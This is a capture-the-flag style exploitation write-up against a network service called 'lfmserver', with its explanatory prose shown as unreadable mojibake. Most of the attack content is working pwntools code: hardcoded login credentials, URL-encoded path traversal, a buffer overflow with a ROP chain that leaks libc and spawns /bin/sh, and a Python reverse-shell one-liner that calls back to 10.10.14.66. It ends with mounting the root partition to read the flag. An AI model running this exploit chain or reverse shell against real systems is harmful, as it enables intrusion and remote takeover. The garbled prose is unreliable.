рдпрд╣реА рд╣реИ, рдХреИрдирд░реА рдФрд░ рдкреАрдЖрдИрдИ рдЧрд╛рдпрдм рд╣реИрдВ, рд▓реЗрдХрд┐рди рд╕реНрдЯреИрдХ рдирд┐рд╖реНрдкрд╛рджрди рдпреЛрдЧреНрдп рдирд╣реАрдВ рд╣реИред рдЖрдЗрдП рдЖрдк рдХреЗ рд▓рд┐рдП рд╕реБрд╡рд┐рдзрд╛рдЬрдирдХ рдбрд┐рдХрдВрдкрд╛рдЗрд▓рд░ (рдореИрдВ рдЖрдИрдбреАрдП рдкреНрд░реЛ 7.2 рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реВрдВ) рдХреЗ рд╕рд╛рде рдХрд┐рд╕реА рднреА рдбрд┐рд╕рдмрдВрдмрд▓рд░ рдореЗрдВ рдмрд╛рдЗрдирд░реА рдлрд╝рд╛рдЗрд▓ рдЦреЛрд▓реЗрдВ рдФрд░ рд░рд┐рдкреЙрдЬрд┐рдЯрд░реА рд╕реЗ рд╕реНрд░реЛрдд рдХреЛрдб рдХреЗ рд╕рд╛рде рд╡рд┐рдШрдЯрд┐рдд рдХреЛрдб рдХреА рддреБрд▓рдирд╛ рдХрд░реЗрдВред

рдЫрд╡рд┐

рд╕рд░реНрд╡рд░ рд╕реЗ рдХрдиреЗрдХреНрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдФрд░ checker.py рдлрд╝рд╛рдЗрд▓ рд╕реЗ рдбреЗрдЯрд╛ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ, рд╕рд╛рде рд╣реА рд╕рд╛рде рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓ рднреАред

рдЫрд╡рд┐

рдЫрд╡рд┐

рдПрдХ рд╢реЛрд╖рдг рдЯреЗрдореНрдкрд▓реЗрдЯ рд▓рд┐рдЦреЗрдВред

#!/usr/bin/python3

from pwn import *

context(os="linux", arch="amd64")
HOST = "127.0.0.1"
PORT = 8888
username = "lfmserver_user"
password = "!gby0l0r0ck$$!"

рдЪрд▓рд┐рдП рдЕрдм рдирд┐рд╡реЗрджрди рдХрд╛ рдирд┐рд░реНрдзрд╛рд░рдг рдХрд░рддреЗ рд╣реИрдВред рдПрдкреНрд▓рд┐рдХреЗрд╢рди рд▓реЙрдиреНрдЪ рдХрд░реЗрдВред

рдЫрд╡рд┐

рдЖрдкрдХреЛ рдлрд╝рд╛рдЗрд▓ рдФрд░ рдЙрд╕рдХреА рд╕рд╛рдордЧреНрд░реА рдХреЗ рд╣реИрд╢ рдХреЛ рдкрде рднреЗрдЬрдирд╛ рд╣реЛрдЧрд╛ред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдореИрдВрдиреЗ / рдЖрджрд┐ / рдореЗрдЬрдмрд╛рдиреЛрдВ рдХреЛ рд▓рд┐рдпрд╛ред

рдЫрд╡рд┐

рдЯреЗрдореНрдкреНрд▓реЗрдЯ рдореЗрдВ рдирд┐рдореНрди рдХреЛрдб рдЬреЛрдбрд╝реЗрдВред

INPUTREQ = "CHECK /{} LFM\r\nUser={}\r\nPassword={}\r\n\r\n{}\n"
file = "/etc/hosts"
md5sum = "7d8fc74dc6cc8517a81a5b00b8b9ec32"
send_ = INPUTREQ.format(file,username, password, md5sum)

r = remote(HOST, PORT)
r.sendline(send_.encode())

r.interactive()

рдЕрдм рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░реЗрдВ рдФрд░ 404 рддреНрд░реБрдЯрд┐ рдкреНрд░рд╛рдкреНрдд рдХрд░реЗрдВред

рдЫрд╡рд┐

рд▓реЙрдЧ рдлрд╝рд╛рдЗрд▓ рджреЗрдЦреЗрдВред

рдЫрд╡рд┐

рдпрд╣ рд╕реНрдкрд╖реНрдЯ рд╣реИ рдХрд┐ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХрд┐рд╕реА рдлрд╝рд╛рдЗрд▓ рдХреА рддрд▓рд╛рд╢ рдореЗрдВ рд╣реИ, рдЪрд▓реЛ рдкрдереЛрдВ рдХреЗ рд╕рд╛рде рдЦреЗрд▓рддреЗ рд╣реИрдВ рдФрд░ рдРрд╕реА рдлрд╝рд╛рдЗрд▓ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд░реЗрдВред

file = "../../../../../etc/hosts"

рд╣рдо рдХреЛрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░реЗрдВрдЧреЗ рдФрд░ рд╣рдо рдХреЛрдИ рддреНрд░реБрдЯрд┐ рдирд╣реАрдВ рджреЗрдЦреЗрдВрдЧреЗред

рдЫрд╡рд┐

рдЫрд╡рд┐

рд▓реЗрдХрд┐рди urlencode рдХреЗ рдорд╛рдорд▓реЗ рдореЗрдВ, рд╣рдореЗрдВ рд╕рд░реНрд╡рд░ рд╕реЗ рдХреЛрдб 200 рдХреЗ рд╕рд╛рде рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдорд┐рд▓рддреА рд╣реИ!

file = "%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2Fetc%2Fhosts"

рдЫрд╡рд┐

рдмрд╣реБрдд рдмрдврд╝рд┐рдпрд╛, рдЖрдЗрдП рдЕрд╕рд╣рдорддрд┐ рдХрд░рдиреЗ рд╡рд╛рд▓реЗ рдХреЗ рдкрд╛рд╕ рд╡рд╛рдкрд╕ рдЬрд╛рдПрдВред рд╣рдо рдПрдХ рд╕рдлрд▓ рд╕рд░реНрд╡рд░ рдкреНрд░рддрд┐рд╕рд╛рдж (рд▓рд╛рдЗрдиреЛрдВ + F12) рдХреЗ рдмреАрдЪ рдкрд╛рддреЗ рд╣реИрдВред рдФрд░ рджреЗрдЦрддреЗ рд╣реИрдВ рдХрд┐ рдпрд╣ рдХрд╣рд╛рдВ рддрдХ тАЛтАЛрдкрд╣реБрдБрдЪрд╛ рд╣реИ (рдПрдХреНрд╕)ред

рдЫрд╡рд┐

рдФрд░ рд╣рдо рдкрд╣рд▓реЗ рдлрд╝рдВрдХреНрд╢рди рдкрд░ рдЬрд╛рддреЗ рд╣реИрдВ, рдЬрд╣рд╛рдВ рдмрд╣реБрдд рд╢реБрд░реБрдЖрдд рдореЗрдВ рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рдХрд╛ рд╕рддреНрдпрд╛рдкрди рд╣реЛрддрд╛ рд╣реИред

рдЫрд╡рд┐

рдЪрд▓реЛ рд╡рд┐рд╕рдВрд╡рд╛рд╣рдХ рд╡рд┐рдВрдбреЛ рдореЗрдВ рдЪрд░ рд▓рд╛рдЗрдиреЛрдВ рдХрд╛ рдирд╛рдо рдмрджрд▓рдХрд░ рдбрд┐рдХрдореНрдкрд╛рдЗрд▓рд░ рдореЗрдВ рд╕рдордЭрдиреЗ рдореЗрдВ рдЖрд╕рд╛рди рдмрдирд╛рддреЗ рд╣реИрдВред

рдЫрд╡рд┐

рдФрд░ рдХреЛрдб рдХреЛ 18-24 рдкрдВрдХреНрддрд┐рдпреЛрдВ рдореЗрдВ рдкрд╛рд░реНрд╕ рдХрд░рдирд╛, рдирд┐рдореНрди рдХреЛ рд╕рдордЭрдирд╛: рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдЗрдирдкреБрдЯ рдХрд╛ рд╣рд┐рд╕реНрд╕рд╛ рдлрд╝рдВрдХреНрд╢рди sub_402DB9 рдореЗрдВ рдЧрд┐рд░рддрд╛ рд╣реИ, рдЬрд╣рд╛рдВ рд╕реНрдЯреНрд░рд┐рдВрдЧ рдХреЛ рдЪрд░ рдирд╛рдо рдореЗрдВ рдкрд░рд┐рд╡рд░реНрддрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЬреЛ рддрдм рдкрд╣реБрдВрдЪ рдлрд╝рдВрдХреНрд╢рди рдореЗрдВ рдЖрддрд╛ рд╣реИ, рдФрд░ рдпрджрд┐ рдкрд░рд┐рдгрд╛рдо рдирдХрд╛рд░рд╛рддреНрдордХ рд╣реИ, рддреЛ рд╕рдВрджреЗрд╢ 404 рдЖрдЙрдЯрдкреБрдЯ рд╣реИред рдЗрд╕ рдкреНрд░рдХрд╛рд░ред рдЪрд░ рдирд╛рдо рдлрд╝рд╛рдЗрд▓ рдХрд╛ рдкрде рд╣реЛрдЧрд╛ред рдЪреВрдВрдХрд┐ рдЕрдиреБрд░реЛрдз рдХреЛ urlencode рдПрдиреНрдХреЛрдбрд┐рдВрдЧ рдореЗрдВ рднреА рд╕рдВрд╕рд╛рдзрд┐рдд рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛, рдЗрд╕рд▓рд┐рдП рдпрд╣ рдлрд╝рдВрдХреНрд╢рди рдбрд┐рдХреЛрдбрд┐рдВрдЧ рдХреЗ рд▓рд┐рдП рд╕рдмрд╕реЗ рдЕрдзрд┐рдХ рдЖрд╡рд╢реНрдпрдХ рд╣реИред

рдЫрд╡рд┐

рд▓реЗрдХрд┐рди рддрдереНрдп рдпрд╣ рд╣реИ рдХрд┐ рдЪрд░ рдирд╛рдо, рдЬрд╣рд╛рдВ рдбреЗрдЯрд╛ рд╕реНрдерд╛рдирд╛рдВрддрд░рд┐рдд рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рдПрдХ рд╕реАрдорд┐рдд рдЖрдХрд╛рд░ рдХрд╛ рд╣реИред

рдЫрд╡рд┐

рдЗрд╕ рдкреНрд░рдХрд╛рд░, рдмрдлрд░ рдЕрддрд┐рдкреНрд░рд╡рд╛рд╣ рдХреЗ рд▓рд┐рдП, рд╣рдореЗрдВ 0xA0 = 160 рдмрд╛рдЗрдЯреНрд╕ рд╕реНрдерд╛рдирд╛рдВрддрд░рд┐рдд рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИред рдЖрдЗрдП рдХреЛрдб рдореЗрдВ 160 рдмрд╛рдЗрдЯреНрд╕ рддрдХ рдЬреЛрдбрд╝рдиреЗ рдФрд░ рдлрд╝рд╛рдЗрд▓ рдХрд╛ рдкрде рдПрдиреНрдХреЛрдбрд┐рдВрдЧ рдХрд░рдиреЗ рдХрд╛ рдХрд╛рд░реНрдп рдХрд░рддреЗ рд╣реИрдВред рдЪреВрдВрдХрд┐ рд╣реИрд╢ рдХреА рдЧрдгрдирд╛ рдлрд╝рд╛рдЗрд▓ рдХреА рд╕рд╛рдордЧреНрд░реА рд╕реЗ рдХреА рдЬрд╛рддреА рд╣реИ, рдЗрд╕рд▓рд┐рдП рдЖрд╡рд╢реНрдпрдХ рд╣реИ рдХрд┐ рдлрд╝рд╛рдЗрд▓ рдкрде рдХреА рдЕрдЦрдВрдбрддрд╛ рдХрд╛ рдЙрд▓реНрд▓рдВрдШрди рди рдХрд░реЗрдВ, рдЕрд░реНрдерд╛рдд, рдореБрдЦреНрдп рдкрде 0x00 рдмрд╛рдЗрдЯреНрд╕ рдЬреЛрдбрд╝рдиреЗ рдХреЗ рдмрд╛рджред

рд▓реЗрдХрд┐рди рддрдереНрдп рдпрд╣ рд╣реИ рдХрд┐ рд╣рдореЗрдВ рд╕рд░реНрд╡рд░ рдкрд░ рдХрд┐рд╕реА рднреА рдлрд╛рдЗрд▓ рд╕реЗ рд╣реИрд╢ рдЬрд╛рдирдирд╛ рд╣реЛрдЧрд╛, рдЬреЛ рд╣рдореЗрд╢рд╛ рдЙрдкрд▓рдмреНрдз рд░рд╣реЗрдЧрд╛ рдФрд░ рдХрднреА рдирд╣реАрдВ рдмрджрд▓реЗрдЧрд╛ред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, / proc / sys / рдХрд░реНрдиреЗрд▓ / randomize_va_space, рдФрд░ рдЬреИрд╕рд╛ рдХрд┐ рд╣рдо linPEAS рдХреЗ рдЖрдЙрдЯрдкреБрдЯ рд╕реЗ рдпрд╛рдж рдХрд░рддреЗ рд╣реИрдВ, ASLR рд╕рдХреНрд░рд┐рдп рд╣реИ, рдЕрд░реНрдерд╛рдд, рд╣рдо рд╣реИрд╢ рдХреЛ рдЬрд╛рдирддреЗ рд╣реИрдВред

рдЫрд╡рд┐

рдлрд┐рд░ рдХреЛрдб рдмрджрд▓реЗрдВред

#!/usr/bin/python3
from pwn import *

def append_and_encode(file, rop=b""):
    ret = b""
    path = (file + b"\x00").ljust(160, b"A") + rop
    for i in path:
        ret += b"%" + hex(i)[2:].rjust(2,"0").encode()
    return ret

context(os="linux", arch="amd64", log_level="error")

HOST = "127.0.0.1"
PORT = 8888
INPUTREQ = b"CHECK /{1} LFM\r\nUser=lfmserver_user\r\nPassword=!gby0l0r0ck$$!\r\n\r\n{2}\n"
md5sum = b"26ab0db90d72e28ad0ba1e22ee510510"

payload = append_and_encode(b"../../../../../proc/sys/kernel/randomize_va_space")
send_= INPUTREQ.replace(b"{1}", payload).replace(b"{2}", md5sum)
r = remote(HOST, PORT)
r.sendline(send_)
r.interactive()

рдпрд╣ рд╕рдлрд▓рддрд╛рдкреВрд░реНрд╡рдХ рдХрд╛рдо рдХрд░рддрд╛ рд╣реИ!

рдЫрд╡рд┐

рдЕрдм рдПрдХ рдореЗрдореЛрд░реА рд▓реАрдХ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реИрдВ рдФрд░ рдЙрд╕ рдкрддреЗ рдХреЛ рдирд┐рд░реНрдзрд╛рд░рд┐рдд рдХрд░рддреЗ рд╣реИрдВ рдЬрд╣рд╛рдВ libc рд▓рд╛рдЗрдмреНрд░реЗрд░реА рднрд░реА рд╣реБрдИ рд╣реИред рдРрд╕рд╛ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рд╣рдореЗрдВ рднрд░реА рд╣реБрдИ libc рд▓рд╛рдЗрдмреНрд░реЗрд░реА рдореЗрдВ рд░рд╛рдЗрдЯрд┐рдВрдЧ рдлрдВрдХреНрд╢рди рдХрд╛ рдкрддрд╛ рдорд┐рд▓рддрд╛ рд╣реИред

binary = ELF("./lfmserver")
libc = ELF("./libc6.so")

rop_binary = ROP(binary)
rop_binary.write(0x6, binary.got['dup2'])
rop = flat(rop_binary.build())

payload = append_and_encode(b"../../../../../proc/sys/kernel/randomize_va_space", rop)

рдЫрд╡рд┐

рдЕрдм dup2 рдлрд╝рдВрдХреНрд╢рди (рдкрд╣рд▓реЗ 8 рдмрд╛рдЗрдЯреНрд╕) рдХреЗ рдкрддреЗ рдХрд╛ рдЪрдпрди рдХрд░реЗрдВред рдЗрд╕рдореЗрдВ рд╕реЗ рдЕрдирд▓реЛрдб рд▓рд╛рдЗрдмреНрд░реЗрд░реА рдореЗрдВ рдбреБрдк 2 рдлрд╝рдВрдХреНрд╢рди рдХреЗ рдкрддреЗ рдХреЛ рдШрдЯрд╛рдПрдВред рдпрд╣ libc рдХрд╛ рдЖрдзрд╛рд░ рдкрддрд╛ рдвреВрдВрдвреЗрдЧрд╛ред

print(f"[*] Payload sent")

recv_ = r.recvall().split(b'\r')
leak = u64(recv_[-1][:8])
print(f"[*] Leak address: {hex(leak)}")
libc.address = leak - libc.symbols['dup2']
print(f"[+] Libc base: {hex(libc.address)}")

рдЫрд╡рд┐

рдЕрдм рд▓рд╛рдЗрди / рдмрд┐рди / рд╢ рдХрд╛ рдкрддрд╛ рд▓рдЧрд╛рдПрдВред

shell_address = next(libc.search(b"/bin/sh\x00"))

рдпрд╣ рдЖрд░рдУрдкреА рдХреЛ рдЗрдХрдЯреНрдард╛ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдмрдирд╛ рд╣реБрдЖ рд╣реИ, рдЬрд┐рд╕рдореЗрдВ рдорд╛рдирдХ I / O рд╡рд┐рд╡рд░рдгрдХрд░реНрддрд╛ (0,1,2) рдкреНрд░реЛрдЧреНрд░рд╛рдо рдореЗрдВ рдкрдВрдЬреАрдХреГрдд рд╡рд┐рд╡рд░рдгрдХ (6 рд▓реЗ) рдкрд░ рдкреБрдирд░реНрдирд┐рд░реНрджреЗрд╢рд┐рдд рдХрд┐рдП рдЬрд╛рдПрдВрдЧреЗред рдЬрд┐рд╕рдХреЗ рдмрд╛рдж рд╕рд┐рд╕реНрдЯрдо рдлрд╝рдВрдХреНрд╢рди рдХреЛ рдмреБрд▓рд╛рдпрд╛ рдЬрд╛рдПрдЧрд╛, рдЬрд╣рд╛рдВ рд╣рдо рд▓рд╛рдЗрди / рдмрд┐рди / рд╢ рдХреЗ рдкрддреЗ рдХреЛ рдкрд╛рд╕ рдХрд░реЗрдВрдЧреЗред

rop_libc = ROP(libc)
rop_libc.dup2(6,0)
rop_libc.dup2(6,1)
rop_libc.dup2(6,2)
rop_libc.system(shell_address)
rop = flat(rop_libc.build()) 

payload = append_and_encode(b"../../../../../proc/sys/kernel/randomize_va_space", rop)
send_ = INPUTREQ.replace(b"{1}", payload).replace(b"{2}", md5sum)
r = remote(HOST, PORT)
r.sendline(send_)

context.log_level='info'
r.recv()
r.sendline(b"id")

рдЫрд╡рд┐

рдареАрдХ! рд╣рдореЗрдВ рдЬрдбрд╝ рд╕реЗ рдЦреЛрд▓ рдорд┐рд▓рддрд╛ рд╣реИред рд▓реЗрдХрд┐рди рд╡рд╣ рдЬрд▓реНрджреА рдорд░ рд░рд╣рд╛ рд╣реИред рд╢реНрд░реЛрддрд╛ (nc -lvp 8765) рдХреЛ рдЪрд▓рд╛рдПрдВ рдФрд░ рдмреИрдХ рдХрдиреЗрдХреНрдЯ рд╢реЗрд▓ рдХреЛ рдлреЗрдВрдХ рджреЗрдВред

r.sendline(b'python -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.66",8765));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);\'')

рдЫрд╡рд┐

рдЫрд╡рд┐

рдФрд░ рд╣рдорд╛рд░реЗ рдкрд╛рд╕ рдПрдХ рд╕реНрдерд┐рд░ рд╢реЗрд▓ рд╣реИред рдореИрдВ рдиреАрдЪреЗ рджрд┐рдП рдЧрдП рдЪрд┐рддреНрд░ рдореЗрдВ рдкреВрд░реНрдг рдХреЛрдб рджреЗрддрд╛ рд╣реВрдВред

рдЫрд╡рд┐

рд▓реЗрдХрд┐рди рд╣рдо рд░реВрдЯ рдлреНрд▓реИрдЧ рдХреЛ рдирд╣реАрдВ рдкрдврд╝ рд╕рдХрддреЗ ...

рдЫрд╡рд┐

рдЬрдбрд╝ рей


Linpeas рдЪрд▓рд╛рдиреЗ рдФрд░ рдЖрдЙрдЯрдкреБрдЯ рдХреЛ рджреЗрдЦрддреЗ рд╣реБрдП, рд╣рдо рджрд┐рд▓рдЪрд╕реНрдк рдЦрдВрдб рдкрд╛рддреЗ рд╣реИрдВ, рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ / dev / sda2ред

рдЫрд╡рд┐

рдЖрдЗрдпреЗ рд╕рднреА рдмреНрд▓реЙрдХ рдЙрдкрдХрд░рдгреЛрдВ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЬрд╛рдирдХрд╛рд░реА рдкреНрд░рд╛рдкреНрдд рдХрд░рддреЗ рд╣реИрдВред

рдЫрд╡рд┐

рдЗрд╕ рдкреНрд░рдХрд╛рд░ рд╣рдорд╛рд░реЗ рдкрд╛рд╕ рд░реВрдЯ рд╡рд┐рднрд╛рдЬрди / рджреЗрд╡ / sda2 рд╣реИред рдПрдХ рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рдмрдирд╛рдПрдВ рдФрд░ рд╡рд┐рднрд╛рдЬрди рдХреЛ рдорд╛рдЙрдВрдЯ рдХрд░реЗрдВред

рдЫрд╡рд┐

рддреЛ рд╣рдо рд░реВрдЯ рдлреНрд▓реИрдЧ рдкрд╛рддреЗ рд╣реИрдВред

рдЖрдк рд╣рдорд╕реЗ рдЯреЗрд▓реАрдЧреНрд░рд╛рдо рдкрд░ рдЬреБрдбрд╝ рд╕рдХрддреЗ рд╣реИрдВ ред рд╡рд╣рд╛рдВ рдЖрдк рджрд┐рд▓рдЪрд╕реНрдк рд╕рд╛рдордЧреНрд░реА, рдорд░реНрдЬ рдХрд┐рдП рдЧрдП рдкрд╛рдареНрдпрдХреНрд░рдо, рд╕рд╛рде рд╣реА рд╕реЙрдлрд╝реНрдЯрд╡реЗрдпрд░ рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВред рдЖрдЗрдП рдПрдХ рд╕рдореБрджрд╛рдп рдХреЛ рдПрдХ рд╕рд╛рде рд░рдЦреЗрдВ рдЬрд┐рд╕рдореЗрдВ рдРрд╕реЗ рд▓реЛрдЧ рд╣реЛрдВрдЧреЗ рдЬреЛ рдЖрдИрдЯреА рдХреЗ рдХрдИ рдХреНрд╖реЗрддреНрд░реЛрдВ рдореЗрдВ рдкрд╛рд░рдВрдЧрдд рд╣реИрдВ, рдлрд┐рд░ рд╣рдо рд╣рдореЗрд╢рд╛ рдХрд┐рд╕реА рднреА рдЖрдИрдЯреА рдФрд░ рд╕реВрдЪрдирд╛ рд╕реБрд░рдХреНрд╖рд╛ рдореБрджреНрджреЛрдВ рдкрд░ рдПрдХ рджреВрд╕рд░реЗ рдХреА рдорджрдж рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред

All Articles